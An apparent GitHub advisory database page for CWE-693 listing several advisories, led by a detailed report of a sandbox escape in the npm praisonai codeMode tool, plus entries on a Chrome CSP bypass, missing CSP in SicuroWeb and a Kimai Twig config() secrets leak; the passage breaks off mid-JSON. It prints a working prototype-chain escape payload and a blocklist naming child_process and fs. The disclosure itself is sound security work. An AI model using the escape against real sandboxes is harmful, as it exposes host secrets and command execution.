Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

978 vulnerabilities reference this CWE, most recent first.

GHSA-VMMJ-PFW7-FJWP

Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-06-18 14:26

Summary

npm PraisonAI codeMode sandbox escape via Function constructor

Details

Summary

The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.

The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:

const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);

Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:

({}).constructor.constructor('return process')()

From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.

Technical Details

Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  13: description: 'Execute code that can import and use other tools in a sandboxed environment',
  24: capabilities: {
  25:   sandbox: true,
  26:   code: true,
  28: packageName: 'praisonai',
  85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',

The same file implements security as a blocklist of exact source-code patterns:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  108: const blockedPatterns = [
  109:   /require\s*\(\s*['"]child_process['"]\s*\)/,
  110:   /require\s*\(\s*['"]fs['"]\s*\)/,
  111:   /import\s+.*from\s+['"]child_process['"]/,
  112:   /process\.exit/,
  113:   /eval\s*\(/,

It then tries to hide dangerous globals by shadowing names in a normal object:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  168: process: undefined,
  169: require: undefined,

Finally, it executes the untrusted code in the host process using new Function and with (sandbox):

src/praisonai-ts/src/tools/builtins/code-mode.ts
  187: const fn = new Function(
  188:   'sandbox',
  189:   `with (sandbox) { ${code} }`
  190: );
  191: const result = fn(sandbox);

This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.

The tool is reachable through the public npm SDK:

src/praisonai-ts/src/index.ts
  117: airweaveSearch, codeMode,

src/praisonai-ts/src/tools/tools.ts
  104: // Code Mode
  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
  167: // Code Mode
  168: codeMode: (config?: CodeModeConfig) => codeMode(config),

Why This Is Not Intended Behavior

This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.

The implementation itself proves an intended security boundary exists:

CODE_MODE_METADATA.capabilities.sandbox is true;
the tool description says it executes in a sandboxed environment;
direct access to fs and child_process is explicitly blocked;
process and require are explicitly shadowed as undefined;
allowNetwork defaults to false; and
the config includes security-relevant controls such as blockedTools, allowedPaths, timeoutMs, and maxMemoryMb.

The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.

PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.

PoV

The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Observed result:

{
  "package": "praisonai",
  "version": "1.7.1",
  "codeModeExported": true,
  "directRequireFsControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "directChildProcessControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "escapedProcessEnv": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  },
  "escapedFilesystem": {
    "output": "fs-ok",
    "exitCode": 0,
    "success": true
  },
  "escapedCommand": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  }
}

Interpretation:

direct require('fs') is blocked;
direct require('child_process') is blocked;
the Function-constructor payload recovers host process;
the escaped process reads a host environment variable;
the escaped process imports fs; and
the escaped process imports child_process and runs a harmless printf.

The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.

Realistic entry points include:

an application that exposes codeMode as an agent tool to end users;
an LLM/tool-call flow where prompt-controlled content reaches the code parameter;
MCP or tool-registry integrations that make the built-in codeMode tool callable; or
any multi-tenant service that relies on codeMode to safely run user or model-generated JavaScript.

Impact after escape includes:

reading process environment variables, including API keys and service tokens;
reading files available to the Node process;
spawning subprocesses with child_process;
writing or modifying files through host filesystem APIs; and
terminating or resource-exhausting the host process.

Severity

Suggested severity: Critical.

Rationale:

AV: codeMode is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.
AC: a single code payload is enough.
PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.
UI: no additional user interaction is required once the tool is invoked.
S: execution crosses from the advertised sandbox security scope into the host Node.js process.
C: host files and environment variables are readable.
I: host subprocess and filesystem APIs are reachable.
A: escaped code can terminate processes or consume host resources.

Suggested Fix

Do not use host-process new Function plus source-code blocklists as a sandbox.

Recommended fix direction:

Disable or clearly mark npm codeMode as unsafe until a real isolation boundary exists.
Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
Enforce allowNetwork, allowedPaths, timeoutMs, maxMemoryMb, allowedTools, and blockedTools at that boundary instead of by scanning source strings.
Do not rely on node:vm alone for untrusted code. The Node.js documentation explicitly says the vm module is not a security mechanism.
Add regression tests for:
direct require('fs') and require('child_process') blocked controls;
({}).constructor.constructor('return process')() blocked;
process.mainModule.require('fs') unavailable;
process.mainModule.require('child_process') unavailable;
host environment variables unavailable unless explicitly passed; and
tool-call IPC still works for allowed tools.

If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.

Affected Package/Versions

Repository: MervinPraison/PraisonAI
Ecosystem: npm
Package: praisonai
Component: src/praisonai-ts/src/tools/builtins/code-mode.ts
Current npm version checked: 1.7.1
Refreshed origin/main checked: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e

Confirmed affected range:

>= 1.4.0, <= 1.7.1

Boundary:

1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.

No fixed npm version is known at the time of this report.

Version Sweep

The included sweep installs selected npm versions and runs the same vulnerable shape from a script file:

node poc/version_sweep_poc.js

Observed result:

1.3.6: codeModeExported=false, hasDistCodeMode=false
1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true

Git history for the TypeScript file points to the 1.4.0 integration:

56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies
2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies

Advisory History

Checked:

visible PraisonAI advisories and prior reports;
public GitHub advisory search results for PraisonAI codeMode, npm, sandbox, new Function, process, and child_process; and
visible public PraisonAI advisories for sandbox escapes.

Closest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:

GHSA-qf73-2hrx-xprp / CVE-2026-39888: pip:praisonaiagents execute_code() frame traversal in a Python subprocess sandbox.
GHSA-4mr5-g6f9-cfrh / CVE-2026-47392: pip:praisonai Python execute_code() sandbox escape through print.__self__.
Other published PraisonAI sandbox advisories cover Python execute_code, SubprocessSandbox, Sandlock/native fallback, or CLI/managed-agent bridges.

This report is distinct because it targets:

ecosystem: npm;
package: praisonai;
component: src/praisonai-ts/src/tools/builtins/code-mode.ts;
root cause: host-context new Function plus blocklist/name-shadowing sandbox; and
affected range: >= 1.4.0, <= 1.7.1.

One private npm report has already been submitted for TypeScript AgentOS missing authentication (GHSA-9752-mhqh-h34f). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a codeMode sandbox escape.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:26:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript built-in tool named `codeMode`. The package describes this tool as executing code in a sandboxed environment, marks its capability as `sandbox: true`, and registers it through the public tools facade.\n\nThe implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets `process` and `require` to `undefined` inside a plain JavaScript object, and then executes attacker-controlled code with the host process `new Function` constructor:\n\n```text\nconst fn = new Function(\u0027sandbox\u0027, `with (sandbox) { ${code} }`);\nconst result = fn(sandbox);\n```\n\nBecause this runs in the host V8 context, code inside `codeMode` can use the JavaScript prototype chain to recover the real `Function` constructor:\n\n```text\n({}).constructor.constructor(\u0027return process\u0027)()\n```\n\nFrom a normal CommonJS application script, the recovered `process` object exposes `process.mainModule.require`. That bypasses the explicit `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.\n\n## Technical Details\n\nCurrent-head source says `codeMode` is a built-in package tool and explicitly advertises a sandbox boundary:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  13: description: \u0027Execute code that can import and use other tools in a sandboxed environment\u0027,\n  24: capabilities: {\n  25:   sandbox: true,\n  26:   code: true,\n  28: packageName: \u0027praisonai\u0027,\n  85: description: \u0027Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.\u0027,\n```\n\nThe same file implements security as a blocklist of exact source-code patterns:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  108: const blockedPatterns = [\n  109:   /require\\s*\\(\\s*[\u0027\"]child_process[\u0027\"]\\s*\\)/,\n  110:   /require\\s*\\(\\s*[\u0027\"]fs[\u0027\"]\\s*\\)/,\n  111:   /import\\s+.*from\\s+[\u0027\"]child_process[\u0027\"]/,\n  112:   /process\\.exit/,\n  113:   /eval\\s*\\(/,\n```\n\nIt then tries to hide dangerous globals by shadowing names in a normal object:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  168: process: undefined,\n  169: require: undefined,\n```\n\nFinally, it executes the untrusted code in the host process using `new Function` and `with (sandbox)`:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  187: const fn = new Function(\n  188:   \u0027sandbox\u0027,\n  189:   `with (sandbox) { ${code} }`\n  190: );\n  191: const result = fn(sandbox);\n```\n\nThis is not a sandbox. `new Function` does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.\n\nThe tool is reachable through the public npm SDK:\n\n```text\nsrc/praisonai-ts/src/index.ts\n  117: airweaveSearch, codeMode,\n\nsrc/praisonai-ts/src/tools/tools.ts\n  104: // Code Mode\n  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);\n  167: // Code Mode\n  168: codeMode: (config?: CodeModeConfig) =\u003e codeMode(config),\n```\n\n### Why This Is Not Intended Behavior\n\nThis is not merely \"the user can execute code because codeMode executes code.\" The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.\n\nThe implementation itself proves an intended security boundary exists:\n\n- `CODE_MODE_METADATA.capabilities.sandbox` is `true`;\n- the tool description says it executes in a sandboxed environment;\n- direct access to `fs` and `child_process` is explicitly blocked;\n- `process` and `require` are explicitly shadowed as `undefined`;\n- `allowNetwork` defaults to `false`; and\n- the config includes security-relevant controls such as `blockedTools`, `allowedPaths`, `timeoutMs`, and `maxMemoryMb`.\n\nThe PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.\n\nPraisonAI\u0027s official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with `npm install praisonai`. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.\n\n## PoV\n\nThe PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose `process.mainModule.require`; `node -e` or stdin do not always reproduce that deployment shape.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n  \"package\": \"praisonai\",\n  \"version\": \"1.7.1\",\n  \"codeModeExported\": true,\n  \"directRequireFsControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]fs[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"directChildProcessControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]child_process[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"escapedProcessEnv\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedFilesystem\": {\n    \"output\": \"fs-ok\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedCommand\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  }\n}\n```\n\nInterpretation:\n\n- direct `require(\u0027fs\u0027)` is blocked;\n- direct `require(\u0027child_process\u0027)` is blocked;\n- the Function-constructor payload recovers host `process`;\n- the escaped process reads a host environment variable;\n- the escaped process imports `fs`; and\n- the escaped process imports `child_process` and runs a harmless `printf`.\n\nThe PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can supply code to `codeMode` can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.\n\nRealistic entry points include:\n\n- an application that exposes `codeMode` as an agent tool to end users;\n- an LLM/tool-call flow where prompt-controlled content reaches the `code` parameter;\n- MCP or tool-registry integrations that make the built-in `codeMode` tool callable; or\n- any multi-tenant service that relies on `codeMode` to safely run user or model-generated JavaScript.\n\nImpact after escape includes:\n\n- reading process environment variables, including API keys and service tokens;\n- reading files available to the Node process;\n- spawning subprocesses with `child_process`;\n- writing or modifying files through host filesystem APIs; and\n- terminating or resource-exhausting the host process.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: `codeMode` is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.\n- `AC`: a single code payload is enough.\n- `PR`: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.\n- `UI`: no additional user interaction is required once the tool is invoked.\n- `S`: execution crosses from the advertised sandbox security scope into the host Node.js process.\n- `C`: host files and environment variables are readable.\n- `I`: host subprocess and filesystem APIs are reachable.\n- `A`: escaped code can terminate processes or consume host resources.\n\n## Suggested Fix\n\nDo not use host-process `new Function` plus source-code blocklists as a sandbox.\n\nRecommended fix direction:\n\n1. Disable or clearly mark npm `codeMode` as unsafe until a real isolation boundary exists.\n2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.\n3. Enforce `allowNetwork`, `allowedPaths`, `timeoutMs`, `maxMemoryMb`, `allowedTools`, and `blockedTools` at that boundary instead of by scanning source strings.\n4. Do not rely on `node:vm` alone for untrusted code. The Node.js documentation explicitly says the `vm` module is not a security mechanism.\n5. Add regression tests for:\n   - direct `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` blocked controls;\n   - `({}).constructor.constructor(\u0027return process\u0027)()` blocked;\n   - `process.mainModule.require(\u0027fs\u0027)` unavailable;\n   - `process.mainModule.require(\u0027child_process\u0027)` unavailable;\n   - host environment variables unavailable unless explicitly passed; and\n   - tool-call IPC still works for allowed tools.\n\nIf maintainers need an emergency mitigation before a real sandbox exists, reject `codeMode` execution unless the caller opts into \"unsafe host JS execution\" with clear documentation that it can access the full Node process.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.4.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and runs the same vulnerable shape from a script file:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.3.6: codeModeExported=false, hasDistCodeMode=false\n1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n```\n\nGit history for the TypeScript file points to the 1.4.0 integration:\n\n```text\n56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n```\n\n## Advisory History\n\nChecked:\n\n- visible PraisonAI advisories and prior reports;\n- public GitHub advisory search results for PraisonAI `codeMode`, npm, sandbox, `new Function`, `process`, and `child_process`; and\n- visible public PraisonAI advisories for sandbox escapes.\n\nClosest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:\n\n- `GHSA-qf73-2hrx-xprp` / `CVE-2026-39888`: `pip:praisonaiagents` `execute_code()` frame traversal in a Python subprocess sandbox.\n- `GHSA-4mr5-g6f9-cfrh` / `CVE-2026-47392`: `pip:praisonai` Python `execute_code()` sandbox escape through `print.__self__`.\n- Other published PraisonAI sandbox advisories cover Python `execute_code`, `SubprocessSandbox`, Sandlock/native fallback, or CLI/managed-agent bridges.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`;\n- root cause: host-context `new Function` plus blocklist/name-shadowing sandbox; and\n- affected range: `\u003e= 1.4.0, \u003c= 1.7.1`.\n\nOne private npm report has already been submitted for TypeScript `AgentOS` missing authentication (`GHSA-9752-mhqh-h34f`). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a `codeMode` sandbox escape.",
  "id": "GHSA-vmmj-pfw7-fjwp",
  "modified": "2026-06-18T14:26:32Z",
  "published": "2026-06-18T14:26:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmmj-pfw7-fjwp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI codeMode sandbox escape via Function constructor"
}

GHSA-VMW5-396H-99JH

Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-09 18:31

Details

Policy bypass in ServiceWorkers in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-5911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T22:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Policy bypass in ServiceWorkers in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-vmw5-396h-99jh",
  "modified": "2026-04-09T18:31:26Z",
  "published": "2026-04-09T00:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5911"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/485785246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQRW-X4H2-5CGP

Vulnerability from github – Published: 2026-04-22 21:32 – Updated: 2026-04-22 21:32

Details

Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions.

Severity

5.2 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.1 (Medium)


                  
                    CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-41469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T19:17:09Z",
    "severity": "MODERATE"
  },
  "details": "Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions.",
  "id": "GHSA-vqrw-x4h2-5cgp",
  "modified": "2026-04-22T21:32:11Z",
  "published": "2026-04-22T21:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-POC.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-SicuroWeb-ATI-chain.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.beghelli.it"
    },
    {
      "type": "WEB",
      "url": "https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/beghelli-sicuro24-sicuroweb-missing-content-security-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VRQV-52X7-RM4V

Vulnerability from github – Published: 2026-05-06 18:42 – Updated: 2026-05-06 18:42

Summary

Kimai's Twig function config() leaks server-wide secrets (LDAP bind password, SAML SP private key) via invoice/export templates

Details

Summary

Kimai's Twig sandbox (StrictPolicy, used for admin-uploaded invoice and export templates) allow-lists the config() Twig function with no key filtering. config(name) delegates to App\Configuration\SystemConfiguration::find($name), which returns arbitrary entries from the flattened kimai.config container parameter built in App\DependencyInjection\AppExtension::loadInternal(). Any admin who can upload a Twig template can therefore render server-wide secrets - the LDAP bind password, the SAML SP private key, and any other dotted configuration key populated from kimai.yaml - into the invoice or export output, which is then delivered to whoever generates an invoice or export from that template (including lower-privileged users such as teamleads with invoice permissions). This is a second, uncovered class of the same defense-in-depth issue patched in GHSA-rh42-6rj2-xwmc: the previous fix added a User-method blocklist but left the config() function unrestricted.

Details

src/Twig/SecurityPolicy/StrictPolicy.php:40-55 explicitly allow-lists 'config':

private array $allowedFunctions = [
    'max', 'min', 'range', 'constant', 'cycle', 'random', 'date',
    't',
    'encore_entry_css_source', 'encore_entry_link_tags', 'encore_entry_script_tags',
    'is_granted',
    'qr_code_data_uri',
    'config',                       // <-- sink, no key filter
    'create_date', 'month_names', 'locale_format',
    'class_name'
];

src/Twig/Configuration.php:22-45 is the Twig function implementation:

public function getFunctions(): array
{
    return [new TwigFunction('config', [$this, 'get'])];
}

public function get(string $name)
{
    switch ($name) {
        case 'chart-class':                     return '';
        case 'theme.chart.background_color':    return '#3c8dbc';
        // ... 4 more theme constants
    }
    return $this->configuration->find($name);   // <-- arbitrary key lookup
}

App\Configuration\SystemConfiguration::find() at src/Configuration/SystemConfiguration.php:54-62 is a direct dictionary lookup. The dictionary $this->settings is initialised from the kimai.config container parameter, which the AppExtension flattens from kimai.yaml into dotted-notation keys.


The LDAP and SAML schemas declared in `src/DependencyInjection/Configuration.php` define secret-valued scalar nodes that survive the flattening and become reachable keys:

```php
// getLdapNode()
->arrayNode('connection')
    ->children()
        ->scalarNode('host')->defaultNull()->end()
        ->scalarNode('username')->end()
        ->scalarNode('password')->end()       // -> settings['ldap.connection.password']
        ...

// getSamlNode()
->arrayNode('sp')
    ->children()
        ->scalarNode('x509cert')->end()
        ->scalarNode('privateKey')->end()     // -> settings['saml.connection.sp.privateKey']
        ...

The invoice and export renderers both enable the sandbox against StrictPolicy and pass the shared Twig environment - the one with the config function registered - into sandboxed rendering: src/Invoice/Renderer/AbstractTwigRenderer.php:66-74 and src/Export/Base/{PDFRenderer,HtmlRenderer}.php. An admin who uploads a malicious invoice or export template therefore gets an unrestricted read primitive against kimai.config.

In a real deployment the attacker template is uploaded through the admin UI (ROLE_SUPER_ADMIN, permission upload_invoice_template), saved by src/Invoice/InvoiceTemplate* and later rendered by whoever generates an invoice or export for that template. The rendering user is typically a teamlead or admin with invoice permission (INVOICE permission set: ['view_invoice','create_invoice','manage_invoice_template'], granted to ROLE_ADMIN and ROLE_TEAMLEAD in config/packages/kimai.yaml). The rendered output is returned as the invoice PDF/HTML or as a CSV/XLSX export, so the secrets land in a document that is routinely downloaded and emailed.

Impact

Any Kimai deployment that (a) has SAML or LDAP configured in kimai.yaml, and (b) has at least one user (other than the current SUPER_ADMIN) who will render a template-based invoice or export in the future, is affected. A malicious or compromised SUPER_ADMIN can upload a template once, leave, and subsequent invoice or export generations by teamleads or other admins silently exfiltrate ldap.connection.password, saml.connection.sp.privateKey, saml.connection.sp.x509cert, and any other dotted configuration key into an attacker-readable artifact. The LDAP bind password gives domain-credential access to the company directory and often to every downstream system that trusts the same directory; the SAML SP private key allows an attacker to forge signed SAML assertions to any service provider that trusts the same key pair. This is the same class of defense-in-depth leak that GHSA-rh42-6rj2-xwmc patched for user-level secrets, at a broader impact because the keys leaked here are system-wide rather than per-user, and the current StrictPolicy does not intercept the config() call path.

Solution

The config() function was patched to only return a pre-configured list of settings in sandboxed mode.

Additional checks were added to prevent access to configs that start with saml. or ldap..

Kimai will not issue a CVE, because this requires a SUPER_ADMIN account and it only affects system with activated LDAP or SAML, which also uses the invoice system.

Severity

5.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.55.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
